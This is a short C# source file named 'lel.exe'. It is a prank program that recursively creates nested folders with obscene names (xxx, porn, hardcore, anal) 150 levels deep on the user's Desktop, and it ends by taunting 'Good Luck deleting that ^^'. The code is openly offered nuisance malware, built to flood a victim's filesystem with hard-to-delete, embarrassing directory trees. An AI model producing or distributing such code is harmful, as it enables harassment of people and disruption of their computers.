lel.exe

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;

namespace lel
{
    enum FolderName { xxx, porn, hardcore, anal };   //Dictionary of folder names, change as you wish
    class Program
    {
        static void Main(string[] args)
        {
            int N = 150; //the program will create number_of_elements_in_enum^N folders
            string startPath = Path.Combine(Environment.GetEnvironmentVariable("userprofile") , "Desktop");
            Console.WriteLine("Wait...");

            Make(startPath, N);
            Console.WriteLine("OK! Done!\nGood Luck deleting that ^^");
            Console.ReadKey();
        }

        public static void Make(string _dir,int n)
        {
            if (n==0)
            {
                return;
            }
            foreach (FolderName name in Enum.GetValues(typeof(FolderName))) //Cycle for each element in the enum
            {
                Directory.CreateDirectory(Path.Combine(_dir, Convert.ToString(name)));
                Make(Path.Combine(_dir, Convert.ToString(name)), n-1);
            }
        }

    }
}